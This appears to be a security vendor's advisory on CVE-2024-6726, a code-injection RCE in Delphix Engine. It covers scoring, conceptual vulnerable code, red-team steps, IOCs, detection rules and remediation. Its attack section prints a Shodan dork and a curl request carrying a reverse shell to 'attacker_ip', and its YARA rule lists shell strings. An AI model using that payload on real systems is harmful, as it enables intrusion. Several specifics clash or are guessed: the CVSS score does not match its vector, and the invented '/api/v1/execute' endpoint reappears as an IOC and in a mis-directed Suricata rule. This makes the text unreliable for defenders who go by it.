CVE-2024-6726

Executive Summary

CVE-2024-6726 is a critical Remote Code Execution (RCE) vulnerability affecting Delphix Engine versions prior to Release 25.0.0.0. With a CVSS score of 8.8, this flaw allows an unauthenticated attacker to execute arbitrary code on the target system, potentially leading to full system compromise. The vulnerability resides in the core engine, enabling remote exploitation without user interaction. No public proof-of-concept (PoC) or exploit code has been released as of this report, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, due to the severity and potential impact, immediate patching is strongly recommended.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise software product, Delphix Engine, which is typically deployed in data management and virtualization environments.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Full system modification possible.
• Availability Impact: High (A:H) – Full system disruption possible.

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a top-priority vulnerability for any organization using Delphix Engine.

Deep Dive & Mechanics

The vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'). It exists in the Delphix Engine's handling of certain network requests or internal data processing. The exact mechanism is not publicly disclosed, but it allows an attacker to inject and execute arbitrary code on the server.

Potential Attack Vector:

• The Delphix Engine listens on network ports for management or data operations.
• A specially crafted request (e.g., HTTP, API call, or proprietary protocol) triggers a code injection point.
• The injected code is executed with the privileges of the Delphix Engine process, typically running as a high-privilege user (e.g., root or system).
• This leads to full remote control of the host.

Impact:

• Complete compromise of the Delphix Engine server.
• Access to all managed databases and data virtualization environments.
• Potential lateral movement to connected systems.
• Data exfiltration, ransomware deployment, or persistent backdoor installation.

Vulnerable vs. Patched Code

Since no specific code snippets are publicly available, the following is a generic representation of the vulnerability pattern.

Vulnerable Code (Conceptual):

# Example of insecure code execution
def process_request(data):
    # Directly evaluating user input
    exec(data)  # CWE-94: Code Injection

Patched Code (Conceptual):

# Example of secure implementation
def process_request(data):
    # Validate and sanitize input
    if not is_valid(data):
        raise ValueError("Invalid input")
    # Use safe parsing instead of exec
    result = safe_parse(data)
    return result

The patch in Delphix Engine 25.0.0.0 likely involves input validation, sanitization, and removal of dangerous functions like exec, eval, or similar.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Delphix Engine instance (version < 25.0.0.0).
• Network access to the target (port 443 or other management ports).
• No authentication required.

Exploitation Steps:

1. Reconnaissance: Scan for Delphix Engine instances using Shodan dorks: "Delphix Engine" or "Delphix".
2. Identify Endpoint: Discover the vulnerable endpoint (e.g., /api/v1/execute or similar).
3. Craft Payload: Create a payload that executes a reverse shell or command.

   # Example payload (conceptual)
   curl -X POST https://target/api/v1/execute -d '{"command":"bash -i >& /dev/tcp/attacker_ip/4444 0>&1"}'
   

4. Execute: Send the payload to trigger RCE.
5. Post-Exploitation: Escalate privileges, pivot, and maintain persistence.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defensive)

Detection:

• Monitor for unusual network connections to Delphix Engine ports.
• Look for anomalous process execution (e.g., bash, cmd.exe, powershell spawned by Delphix processes).
• Use the detection rules provided below.

Hunting:

• Search logs for patterns like exec, eval, or system calls in Delphix logs.
• Check for outbound connections from Delphix servers to unknown IPs.

Containment:

• Isolate affected systems immediately.
• Apply the patch (upgrade to 25.0.0.0) or implement network segmentation.
• If patching is not possible, restrict network access to the Delphix Engine.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections from Delphix Engine to unknown external IPs on high ports (e.g., 4444, 8080).
• Unusual HTTP POST requests to /api/v1/execute or similar endpoints.
• Base64-encoded payloads in request bodies.

File IOCs:

• Unexpected files in /tmp, /var/tmp, or Delphix installation directories.
• New scripts or binaries (e.g., .sh, .py, .exe) created by the Delphix process.

Process IOCs:

• Child processes of Delphix Engine spawning shells (bash, cmd, powershell).
• High CPU or memory usage from Delphix processes.

Log IOCs:

• Log entries containing exec, eval, system, or popen calls.
• Authentication logs showing successful logins from unexpected IPs.

Detection Engineering

YARA Rule

rule CVE_2024_6726_Delphix_RCE {
    meta:
        description = "Detects potential exploitation of CVE-2024-6726 in Delphix Engine"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $s1 = "exec(" ascii wide
        $s2 = "eval(" ascii wide
        $s3 = "system(" ascii wide
        $s4 = "popen(" ascii wide
        $s5 = "bash -i" ascii wide
        $s6 = "cmd.exe /c" ascii wide
    condition:
        any of ($s1, $s2, $s3, $s4) or ($s5 or $s6)
}

Sigma Rule

title: CVE-2024-6726 Delphix Engine RCE Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2024-6726 via process creation anomalies
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\delphix.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\bash.exe'
            - '\sh.exe'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6726 Delphix Engine RCE Outbound"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/execute"; http_uri; content:"command"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Delphix Engine Release 25.0.0.0 or later. Contact Delphix support for the update.
2. Network Segmentation: Restrict network access to the Delphix Engine to trusted IPs only.
3. Disable Unnecessary Services: If possible, disable the vulnerable endpoint or service until patching.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) to filter malicious requests.
• Enable comprehensive logging and monitoring for Delphix Engine.
• Conduct regular vulnerability scans and penetration tests.
• Apply the principle of least privilege to Delphix Engine processes.

Workarounds (if patching is delayed):

• Use network ACLs to block access to the Delphix Engine from untrusted networks.
• Monitor for the IOCs listed above and respond immediately.

Valters IT
Securing Your Digital Frontier